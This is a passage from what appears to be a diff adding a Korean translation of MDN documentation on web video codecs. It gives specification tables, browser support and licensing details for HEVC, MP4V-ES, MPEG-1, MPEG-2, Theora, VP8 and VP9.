+ <td>8 to 16</td>
+ <td>4:0:0, 4:2:0, 4:2:2, and 4:4:4</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">HEVC / H.265 support</th>
+ <td>No</td>
+ <td>18<sup><a href="#hevc-foot--1">[1]</a></sup></td>
+ <td>No<sup><a href="#hevc-foot-2">[2]</a></sup></td>
+ <td>11<sup><a href="#hevc-foot--1">[1]</a></sup></td>
+ <td>No</td>
+ <td>11</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">유지/보수 기관</th>
+ <td><a href="https://www.itu.net/">ITU</a> / <a href="https://mpeg.chiariglione.org/">MPEG</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="http://www.itu.int/rec/T-REC-H.265">http://www.itu.int/rec/T-REC-H.265</a><br>
+ <a href="https://www.iso.org/standard/69668.html">https://www.iso.org/standard/69668.html</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>상용;<a href="https://www.mpegla.com/programs/hevc/">라이선스 요구사항</a>에서 컴플라이언스 확인 다수의 특허 풀이 적용될 수 있음에 유의</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="hevc-foot--1" name="hevc-foot--1">[1]</a> Internet Explorer and Edge only supports HEVC on devices with a hardware codec.</p>
+
+<p><a id="hevc-foot-2" name="hevc-foot-2">[2]</a> Mozilla will not support HEVC while it is encumbered by patents.</p>
+
+<h3 id="MP4V-ES">MP4V-ES</h3>
+
+<p><strong>MPEG-4 Video Elemental Stream</strong> (<strong>MP4V-ES</strong>) 포맷은 MPEG-4 Part 2 시각 표준 중 하나입니다. 일반적으로 MPEG-4 part 2 비디오는 더 이상 사용하지 않는데 다른 코덱에 비해 특장점이 없어 모바일에서도 쓰임새가 없습니다.  MP4V 는 MPEG-4 컨테이너의 H.263 인코딩과 본질적으로 동일합니다.</p>
+
+<p>원래 목적은 {{Glossary("RTP")}} 세션에서 MPEG-4 오디오 및 비디오 스트림을 사용하기 위해서였습니다. 하지만 <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>를 통한 모바일 통신에서도 쓰이고 있습니다.</p>
+
+<p>지원하는 주요 브라우저가 없으며 사실상 폐기된 포맷이라 왠만하면 사용할 일이 없을겁니다. 이 컨테이너 파일의 확장자는<code>.mp4v</code>지만 <code>.mp4</code>로 잘못 표기된 경우도 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>5 Kbps 에서 1 Gbps 이상</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>명시적 제한 없음; 데이터 전송율에 의해 제한</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 4,096 x 4,096 픽셀</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>YCrCb 크로마 서브샘플링(4:2:0, 4:2:2, and 4:4:4); 컴포넌트당 12bits 색 깊이</td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">MP4V-ES support</th>
+ <td>No<sup><a href="#mp4ves-foot-2">[2]</a></sup></td>
+ <td>No</td>
+ <td>Yes<sup><a href="#mp4ves-foot-1">[1]</a></sup></td>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">Supporting/Maintaining 유지/보수 기관</th>
+ <td><a href="https://mpeg.chiariglione.org/">MPEG</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td>{{RFC(6416)}}</td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>상용; <a href="https://www.mpegla.com/">MPEG LA</a> and/or <a href="https://about.att.com/innovation/ip/patents/mpeg-4">AT&amp;T</a>에서 필수 <a href="https://www.mpegla.com/programs/mpeg-4-visual/">라이선스 취득 필</a>요</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="mp4ves-foot-1" name="mp4ves-foot-1">[1]</a> Firefox supports MP4V-ES in <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a> containers only.</p>
+
+<p><a name="mp4ves-foot-2">[2]</a> Chrome does not support MP4V-ES; however, Chrome OS does.</p>
+
+<h3 id="MPEG-1_Part_2_Video"><a id="MPEG-1" name="MPEG-1">MPEG-1</a> Part 2 Video</h3>
+
+<p><strong>MPEG-1 Part 2 Video</strong>는 1990년대 초에 베일을 벗었습니다. 이후 MPEG 비디오 표준과는 다르게 MPEG-1은 {{Glossary("ITU", "ITU's")}}의 개입 없이 순수히 MPEG가 만들었습니다.</p>
+
+<p>모든 MPEG-2 디코더는 MPEG-1 비디오를 재생할 수 있기 때문에 다양한 소프트웨어와 하드웨어 장치에서 호환 가능합니다. MPEG-1 비디오 특허는 모두 만료되었으며, 라이선스에 대한 걱정에서 자유롭습니다. 하지만 소수의 브라우저만이 플러그인 없이 MPEG-1을 지원하며 플러그인은 deprecated된 경우가 많으므로 일반적으로는 더 이상 사용할 수 없습니다. 때문에 웹사이트/어플리케이션에서 MPEG-1는 좋은 선택이 아닙니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>최대 1.5 Mbps</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>23.976 FPS, 24 FPS, 25 FPS, 29.97 FPS, 30 FPS, 50 FPS, 59.94 FPS, 60 FPS</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 4,095 x 4,095 픽셀</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>Y'CbCr 4:2:0 크로마 서브샘플링 with up to 12 bits per component</td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-1 support</th>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ <td>Yes</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td>MPEG</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">유지/보수 기관</th>
+ <td><a href="https://mpeg.chiariglione.org/">MPEG</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://www.iso.org/standard/22411.html">https://www.iso.org/standard/22411.html</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>Proprietary; however, all patents have expired, so MPEG-1 may be used freely</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="MPEG-2_Part_2_Video"><a id="MPEG-2" name="MPEG-2">MPEG-2</a> Part 2 Video</h3>
+
+<p><span class="seoSummary"><strong><a href="https://en.wikipedia.org/wiki/H.262/MPEG-2_Part_2">MPEG-2 Part 2</a></strong> {{Glossary("ITU")}}가 설계한 H.262를 참조하여 MPEG-2 스펙에서 정의한 비디오 포맷이며입니다.</span> MPEg-1 비디오와 매우 유사하며 사실 MPEG-2 플레이어는 높은 비트레이트 및 특수 인코딩 옵션 지원을 위한 확장 스펙이 아닌 한 특별한 작업 없이 MPEG-1 비디오를 재생할 수 있습니다.</p>
+
+<p>MPEG-2의 목적은 표준 TV로 압축하는 것이므로 인터레이스 비디오도 지원합니다. 표준 비디오 결과물의 압축 비율과 품질은 DVD 비디오 미디어의 요구사항도 충족하여 메인 비디오 코덱으로 MPEG-2가 선정되기에 충분하였습니다.</p>
+
+<p>MPEG-2는 서로 다른 스펙을 가진 여러 프로파일이 있습니다. 각 프로파일은 4개의 레벨을 가지고 있으며 프레임 레이트, 해상도, 비트레이트등의 비디오 속성 값을 증가시킬 수 있습니다. 대부분의 프로파일은 Y'CbCr 4:2:0 크로마 서브샘플링을 쓰지만 더 상위의 프로파일은 4:2:2를 지원한다든가 말입니다. 추가로 대형 프레임 크기 및 비트레이트 지원을 위한 4개의 레벨이 있습니다. 예를 들어 북미 지역의 {{interwiki("wikipedia", "ATSC standards", "ATSC")}} TV 스펙은 Main Profile at high Level을 통해 1920 x 1080 (30 FPS) 및 1280 x 720 (60 FPS)의 고화질을 최대 80 Mbps 비트레이트로 지원합니다.</p>
+
+<p>그러나 소수의 브라우저만 MPEG-2를 네이티브로 지원하며 플러그인은 대부분 deprecated 되어 더 이상 사용 가능하지 않습니다. 때문에 웹 사이트나 웹앱에서 MPEG-2는 좋은 선택이 아닙니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>최대 100 Mbps; 레벨과 프로파일에 따라 다름</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">축약어</th>
+ <th scope="col">레벨 이름</th>
+ <th scope="col">지원 프레임 레이트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">LL</th>
+ <td>Low Level</td>
+ <td>23.9, 24, 25, 29.97, 30</td>
+ </tr>
+ <tr>
+ <th scope="row">ML</th>
+ <td>Main Level</td>
+ <td>23.976, 24, 25, 29.97, 30</td>
+ </tr>
+ <tr>
+ <th scope="row">H-14</th>
+ <td>High 1440</td>
+ <td>23.976, 24, 26, 29.97, 30, 50, 59.94, 60</td>
+ </tr>
+ <tr>
+ <th scope="row">HL</th>
+ <td>High Level</td>
+ <td>23.976, 24, 26, 29.97, 30, 50, 59.94, 60</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT 기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">축약어</th>
+ <th scope="col">레벨 이름</th>
+ <th scope="col">최대 프레임 크기</th>
+ </tr>
+ <tr>
+ <th scope="row">LL</th>
+ <td>Low Level</td>
+ <td>352 x 288 pixels</td>
+ </tr>
+ <tr>
+ <th scope="row">ML</th>
+ <td>Main Level</td>
+ <td>720 x 576 pixels</td>
+ </tr>
+ <tr>
+ <th scope="row">H-14</th>
+ <td>High 1440</td>
+ <td>1440 x 1152 pixels</td>
+ </tr>
+ <tr>
+ <th scope="row">HL</th>
+ <td>High Level</td>
+ <td>1920 x 1152 pixels</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>대다수 프로파일에서 Y'CbCr 4:2:0 크로마 서브샘플링; "High", "4:2:2" 프로파일에서 4:2:2 크로마 서브샘플링 지원.</td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트(VFR) 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">MPEG-2 support</th>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ <td>No</td>
+ <td>Yes</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MPEGMPEG-2">MPEG</a>, MPEG-TS (MPEG Transport Stream), <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">유지/보수 기관</th>
+ <td><a href="https://mpeg.chiariglione.org/">MPEG</a> / <a href="https://www.itu.int/">ITU</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://www.itu.int/rec/T-REC-H.262">https://www.itu.int/rec/T-REC-H.262</a><br>
+ <a href="https://www.iso.org/standard/61152.html">https://www.iso.org/standard/61152.html</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>상용; 2019년 4월 1일자로 말레이지아와 필리핀을 제외한 모든 지역에서 모든 특허 만료됨, 두 국가 외에서는 자유롭게 사용 가능. <a href="https://www.mpegla.com/programs/mpeg-2/">MPEG LA</a>에 의해 특허 관리</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Theora">Theora</h3>
+
+<p><a href="https://xiph.org/">Xiph.org</a>가 <strong>{{interwiki("wikipedia", "Theora")}}</strong>는 로열티와 라이선스 없이 사용 가능한 오픈소스 자유 비디오 코덱입니다. Theora의 품질과 압축율은 MPEG-4 Part 2 Visual과 AVC에 견줄만하며, 비디오 인코딩 시 반드시 최고를 고수해야 하는 경우가 아니라면 매우 좋은 선택이 될 수 있습니다. 하지만 라이선스-프리로 특허 문제가 없으며 상대적으로 저사양 CPU에서도 충분히 돌아가는 스펙 덕분에 최근 많은 소프트웨어와 웹프로젝트에서 선택하고 있습니다. 현재로써는 Theroa를 위한 하드웨어 디코더가 없기 때문에 저사양 CPU에서도 원할하다는 점은 아주 중요합니다.</p>
+
+<p>Theora는 원래 On2 Technologies의 VC3 코덱을 베이스로 하고 있습니다. VC3 코덱과 사양은 Xiph.org 관리 하에 LGPL 라이선스로 등재되어 있으며 이후 Theora 표준으로 인입하였습니다.</p>
+
+<p>Theora의 단점 중 하나는 오직 8 bit 컬러 모드만을 지원하여 컬러 밴딩을 피하기 위해 10 이상의 컬러 모드를 선택하는 옵션이 없다는 겁니다. 따지자면 현 시점에서 8 bit 컬러가 대부분이기 때문에 큰 문제는 되지 않습니다. 단지 불편할 뿐이죠. 또 Theora는 Ogg 컨테이너에서만 사용할 수 있습니다. 가장 큰 문제는 Safari에서 사용할 수 없다는 것입니다. macOs 뿐만 아니라 수억대의 iPhone과 iPad에서도 사용할 수 없다는 걸 의미합니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>최대 2 Gbps</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>임의의 0 이상 값 지원. 유리수 프레임 레이트를 지원하기 위해 32-bit 분자와 분모로 구성되어 있음</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT-기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 1,048,560 x 1,048,560 픽셀 이하 어떠한 가로, 세로 조합이라도 가능</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>Y'CbCr 4:2:0, 4:2:2, 4:4:4 크로마 서브샘플링, 8 bit 컬러</td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>예<sup><a href="#theora-foot-1">[1]</a></sup></td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">Theora support</th>
+ <td>3</td>
+ <td>Yes<sup><a href="#theora-foot-2">[2]</a></sup></td>
+ <td>3.5</td>
+ <td>No</td>
+ <td>10.5</td>
+ <td>No</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">유지/보수 기관</th>
+ <td><a href="https://www.xiph.org/">Xiph.org</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://www.theora.org/doc/">https://www.theora.org/doc/</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>오픈 프리-로열티</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="theora-foot-1" name="theora-foot-1">[1]</a> While Theora doesn't support Variable Frame Rate (VFR) within a single stream, multiple streams can be chained together within a single file, and each of those can have its own frame rate, thus allowing what is essentially VFR. However, this is impractical if the frame rate needs to change frequently.</p>
+
+<p><a name="theora-foot-2">[2]</a> Edge supports Theora with the optional <a href="https://www.microsoft.com/en-us/p/web-media-extensions/9n5tdp8vcmhs?activetab=pivot:overviewtab">Web Media Extensions</a> add-on.</p>
+
+<h3 id="VP8">VP8</h3>
+
+<p><strong>Video Processor 8</strong> (<strong>VP8</strong>) 코덱은 최초 On2 Technologies가 개발했습니다. Google은 On2 인수 후, VP8 관련된 특허와 무관하게 완전한 오픈 로열티-프리 라이선스로 출시했습니다. 압축률과 품질의 면에서 VP8은 {{anch("AVC")}}에 견줄만 합니다.</p>
+
+<p>브라우저가 지원한다면 V8에서 알파 채널을 쓸 수 있으며 비디오 뒤의 백그라운드 이미지를 알파 채널 픽셀과 겹쳐 볼 수도 있습니다.</p>
+
+<p>HTML 콘텐츠로써 특히 <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a> 파일에 포함된 VP8을 지원하는 좋은 브라우저가 많습니다. 이는 VP8이 여러분의 콘텐츠로 좋은 선택이 될 수 있으며 가능하다면 더 좋은 VP9를 선택할 수도 있습니다. 웹브라우저는 WebRTC를 위해 VP8을 <em>반드시</em> 지원해야 합니다. 하지만 HTML Audio video 엘리먼츠에는 꼭 VP8을 지원할 필요는 없습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>level별 제한이 없는 한 무제한 임의의 값</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>임의 값</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT-기반 일고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 16,384 x 16,384 픽셀</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>Y'CbCr 4:2:0 크로마 서브샘플링, 8 bit 색 깊이</td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 브라우저</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">VP8 support</th>
+ <td>25</td>
+ <td>14<sup><a href="#vp8-foot-1">[1]</a></sup></td>
+ <td>4</td>
+ <td>9</td>
+ <td>16</td>
+ <td>12.1<sup><a href="#vp8-foot-2">[2]</a></sup></td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>예; VP8은 WebRTC의 필수 코덱 중 하나</td>
+ </tr>
+ <tr>
+ <th scope="row">유지/보수 기관</th>
+ <td><a href="https://www.google.com/">Google</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td>{{RFC(6386)}}</td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>라이선스 및 로열티로부터 자유로운 오픈 소스</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a name="vp8-foot-1">[1]</a> Edge support for VP8 requires the use of <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions</a>.</p>
+
+<p><a id="vp8-foot-2" name="vp8-foot-2">[2]</a> Safari only supports VP8 in WebRTC connections.</p>
+
+<h3 id="VP9">VP9</h3>
+
+<p><strong>Video Processor 9</strong> (<strong>VP9</strong>)는 구글이 VP8 표준의 후속으로 개발하였습니다. VP8과 마찬가지로 VP9는 완전한 로열티-프리 오픈 소스입니다. 인코딩/디코딩 퍼포먼스는 AVC에 비해 더 높은 품질을 유지하면서도 약간 더 빠릅니다. VP9로 인코딩한 비디오의 품질은 비슷한 수준의 비트레이트에서 HEVC에 견줄만합니다.</p>
+
+<p>VP9의 main profile은 4:2:0 크로마 서브 샘플링에서 8-bit 색 깊이 모드만을 지원합니다. 하지만 더 깊은 색상 모드와 전체 범위의 크로마 서브샘플링을 지원하는 프로파일도 가지고 있습니다. HDR 기능도 있으며 프레임 레이트, 영상 비율, 프레임 사이즈를 자유롭게 선택할 수 있는 오셥도 제공합니다.</p>
+
+<p>VP9는 광범위한 브라우저가 지원하고 있으며 하드웨어 구현체로 상당히 퍼져있습니다. VP9는 <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a>에서만 사용할 수 있는 두 코덱 중 하나입니다(나머지 하나는 {{anch("VP8")}}). 하지만 Safari는 WebM 및 VP9 모두 지원하지 않으므로 VP9를 사용할 경우 iPhone, iPad, Mac에서 AVC나 HEVCS등 다른 포맷을 대체할 수 있도록 만들어야 합니다.</p>
+
+<p>Safari 지원이 빠져있지만 WebM 컨테이너를 쓸 수 있고 Safari 사용자에게 AVC/HEVC 대체 포맷 제공이 가능하다면 VP9은 좋은 선택입니다. 상용 코덱 대신에 오픈 코덱을 쓰기로 결정했다면 더할 나위 없죠. 호환 포맷을 제공할 수 없지만 Safari 사용자도 잃을 수 없다면 WebM에 VP9는 차선책이 좋을 겁니다. 아니라면 다른 코덱을 고려해 보셔야겠죠.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">지원 비트레이트</th>
+ <td>level 제한이 없는 한 무제한 임의의 값</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 레이트</th>
+ <td>임의 값</td>
+ </tr>
+ <tr>
+ <th scope="row">압축</th>
+ <td>손실 <a href="https://en.wikipedia.org/wiki/Discrete_cosine_transform">DCT-기반 알고리즘</a></td>
+ </tr>
+ <tr>
+ <th scope="row">지원 프레임 크기</th>
+ <td>최대 65,536 x 65,536 픽셀</td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컬러 모드</th>
+ <td>
+ <table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="row">Profile</th>
+ <th scope="col">색 깊이</th>
+ <th scope="col">크로마 서브샘플링</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">Profile 0</th>
+ <td>8</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <th scope="row">Profile 1</th>
+ <td>8</td>
+ <td>4:2:0, 4:2:2, and 4:4:4</td>
+ </tr>
+ <tr>
+ <th scope="row">Profile 2</th>
+ <td>10 to 12</td>
+ <td>4:2:0</td>
+ </tr>
+ <tr>
+ <th scope="row">Profile 3</th>
+ <td>10 to 12</td>
+ <td>4:2:0, 4:2:2, and f:4:4</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <p>지원 색 공간: {{interwiki("wikipedia", "Rec. 601")}}, {{interwiki("wikipedia", "Rec. 709")}}, {{interwiki("wikipedia", "Rec. 2020")}}, {{interwiki("wikipedia", "SMPTE C")}}, SMPTE-240M (obsolete; replaced by Rec. 709), {{interwiki("wikipedia", "sRGB")}}.</p>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">HDR 지원</th>
+ <td>예; HDR10+, <a href="https://en.wikipedia.org/wiki/Hybrid_Log-Gamma">HLG</a>, <a href="https://en.wikipedia.org/wiki/Perceptual_Quantizer">PQ</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가변 프레임 레이트 (VFR) 지원</th>
+ <td>Yes</td>
+ </tr>
+ <tr>
+ <th scope="row">브라우저 호환성</th>
+ <td>
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">기능</th>
+ <th scope="col">Chrome</th>
+ <th scope="col">Edge</th>
+ <th scope="col">Firefox</th>
+ <th scope="col">Internet Explorer</th>
+ <th scope="col">Opera</th>
+ <th scope="col">Safari</th>
+ </tr>
+ <tr>
+ <th scope="row">VP9 지원</th>
+ <td>29</td>
+ <td>14</td>
+ <td>28</td>
+ <td>No</td>
+ <td>10.6</td>
+ <td>No</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <th scope="row">지원 컨테이너</th>
+ <td><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>, <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a></td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("RTP")}} / <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환</th>
+ <td>예</td>
+ </tr>
+ <tr>
+ <th scope="row">유지/보수 기관</th>
+ <td><a href="https://www.google.com/">Google</a></td>
+ </tr>
+ <tr>
+ <th scope="row">스펙</th>
+ <td><a href="https://www.webmproject.org/vp9/">https://www.webmproject.org/vp9/</a></td>
+ </tr>
+ <tr>
+ <th scope="row">라이선스</th>
+ <td>라이선스 및 로열티-프리 오픈 소스requirements</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="코덱_선택하기">코덱 선택하기</h2>
+
